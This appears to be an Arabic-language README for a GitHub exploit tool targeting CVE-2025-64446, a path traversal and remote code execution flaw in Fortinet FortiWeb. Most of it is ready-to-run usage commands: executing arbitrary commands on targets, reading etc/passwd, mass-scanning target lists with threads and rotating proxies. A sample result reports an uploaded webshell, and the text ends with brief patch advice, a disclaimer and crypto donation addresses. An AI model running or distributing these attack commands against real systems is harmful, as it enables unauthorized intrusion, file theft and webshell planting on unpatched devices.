
أداة بحث أمني لاستكشاف واختبار CVE-2025-64446 (ثغرة تنفيذ الأوامر عن بُعد عبر تجاوز المسار في FortiWeb)
أداة بحث أمني للكشف واختبار ثغرة CVE-2025-64446 في جدار حماية تطبيقات الويب FortiWeb من Fortinet. هذه الثغرة الحرجة من نوع zero-day لاجتياز المسار تم استغلالها بنشاط في البرية وتسمح للمهاجمين غير المصادقين بتجاوز الضوابط الأمنية وتنفيذ تعليمات برمجية عشوائية.
هذه الأداة مخصصة لاختبارات الأمن المصرح بها والأغراض التعليمية فقط. الوصول غير المصرح به إلى أنظمة الكمبيوتر غير قانوني. استخدم هذه الأداة فقط على الأنظمة التي تملكها أو لديك إذن كتابي صريح لاختبارها.
CVE-2025-64446 هي ثغرة حرجة من نوع zero-day لاجتياز المسار في جدار حماية تطبيقات الويب FortiWeb من Fortinet، وقد تم استغلالها بنشاط في البرية. تسمح هذه الثغرة للمهاجمين غير المصادقين بتجاوز الضوابط الأمنية من خلال هجمات اجتياز المسار، مما قد يؤدي إلى تنفيذ تعليمات برمجية عن بعد، والوصول إلى ملفات التكوين، والاختراق الكامل للنظام.
CVSS Score: 9.8 (حرج)
الحالة: تم استغلاله بنشاط في البرية
CISA KEV: تمت إضافته إلى كتالوج الثغرات المستغلة المعروفة
التصحيح: FG-IR-25-910
المنتج المتأثر: Fortinet FortiWeb WAF
# Clone the repository
git clone https://github.com/AN5I/cve-2025-64446-fortiweb-exploit.git
cd cve-2025-64446-fortiweb-exploit
# Install dependencies
pip install -r requirements.txt
# Make scripts executable (optional)
chmod +x cve_2025_64446_fortiweb_exploit.py
chmod +x cve_2025_64446_poc.py
# Download the scripts
wget https://raw.githubusercontent.com/AN5I/cve-2025-64446-fortiweb-exploit/main/cve_2025_64446_fortiweb_exploit.py
wget https://raw.githubusercontent.com/AN5I/cve-2025-64446-fortiweb-exploit/main/cve_2025_64446_poc.py
# Install dependencies
pip install requests
# Single target
python3 cve_2025_64446_fortiweb_exploit.py -u http://target.com
# Execute custom command
python3 cve_2025_64446_fortiweb_exploit.py -u http://target.com -c "whoami"
# Multiple targets from file
python3 cve_2025_64446_fortiweb_exploit.py -f targets.txt -o results.json
# With threading for faster scanning
python3 cve_2025_64446_fortiweb_exploit.py -u http://target.com -t 5
# Verbose output for debugging
python3 cve_2025_64446_fortiweb_exploit.py -u http://target.com -v
# Single proxy
python3 cve_2025_64446_fortiweb_exploit.py -u http://target.com --proxy http://proxy:port
# Multiple proxies from file
python3 cve_2025_64446_fortiweb_exploit.py -f targets.txt --proxy-list proxies.txt
# Basic POC test
python3 cve_2025_64446_poc.py -u http://target.com
# Test specific file
python3 cve_2025_64446_poc.py -u http://target.com -f etc/passwd
# Verbose output
python3 cve_2025_64446_poc.py -u http://target.com -v
-u, --url عنوان الهدف
-f, --file ملف يحتوي على عناوين الأهداف (عنوان واحد لكل سطر)
-c, --command الأمر المراد تنفيذه (الافتراضي: id)
-t, --threads عدد الخيوط (الافتراضي: 1)
-o, --output ملف الإخراج (الافتراضي: uknf_fortiweb_results.json)
-v, --verbose تفعيل التسجيل التفصيلي
--proxy عنوان الوكيل (مثال: http://127.0.0.1:8080)
--proxy-list ملف يحتوي على عناوين الوكلاء (عنوان واحد لكل سطر)
ينشئ البرنامج النصي ملف JSON بنتائج مفصلة:
{
"target": "http://target.com",
"timestamp": "2025-11-21T00:25:40.123456",
"fortiweb_detected": true,
"vulnerable": true,
"path_traversal_successful": true,
"config_file_read": true,
"webshell_uploaded": true,
"command_executed": "id",
"output": "uid=1000(user) gid=1000(user)...",
"vulnerable_payload": "../../../../etc/passwd"
}
إذا كنت تستخدم FortiWeb WAF:
تطبيق التحديثات الأمنية فوراً:
# Check current version
show system status
# Update to latest version
execute upgrade <firmware-file>
تقسيم الشبكة:
تشديد التكوين:
متطلبات CISA:
python3 cve_2025_64446_fortiweb_exploit.py -u https://example.com
# Create targets file
echo "https://target1.com" > targets.txt
echo "https://target2.com" >> targets.txt
# Run scan
python3 cve_2025_64446_fortiweb_exploit.py -f targets.txt -o results.json
python3 cve_2025_64446_fortiweb_exploit.py -u https://example.com -c "uname -a"
# Single proxy
python3 cve_2025_64446_fortiweb_exploit.py -u https://example.com --proxy http://127.0.0.1:8080
# Multiple proxies from file
echo "http://proxy1:8080" > proxies.txt
echo "http://proxy2:8080" >> proxies.txt
python3 cve_2025_64446_fortiweb_exploit.py -f targets.txt --proxy-list proxies.txt
# Basic POC
python3 cve_2025_64446_poc.py -u https://example.com
# Test specific file
python3 cve_2025_64446_poc.py -u https://example.com -f etc/passwd
المساهمات مرحب بها! لا تتردد في تقديم Pull Request.
git checkout -b feature/AmazingFeature)git commit -m 'Add some AmazingFeature')git push origin feature/AmazingFeature)إذا واجهت أي مشكلات أو لديك اقتراحات، يرجى فتح issue على GitHub.
هذا المشروع مرخص بموجب رخصة MIT - انظر ملف LICENSE للحصول على التفاصيل.
إذا وجدت هذه الأداة مفيدة، يرجى التفكير في منحها نجمة على GitHub!
هذه الأداة مقدمة لأغراض تعليمية واختبارات أمنية مصرح بها فقط. المؤلفون غير مسؤولين عن أي استخدام خاطئ أو ضرر يسببه هذا البرنامج. يتحمل المستخدمون مسؤولية ضمان حصولهم على الإذن المناسب قبل اختبار أي أنظمة.
إذا وجدت هذه الأداة مفيدة وترغب في دعم المشروع:
Bitcoin (BTC):
bc1qj95y35w8r2mw0u28zrm3dmxtzjkq258xdv8tzv
Ethereum (ETH):
0x3DC302a3f35F6cD1A03FF4982EcE0dE8fE1cEba7
شكراً لدعمكم! 🙏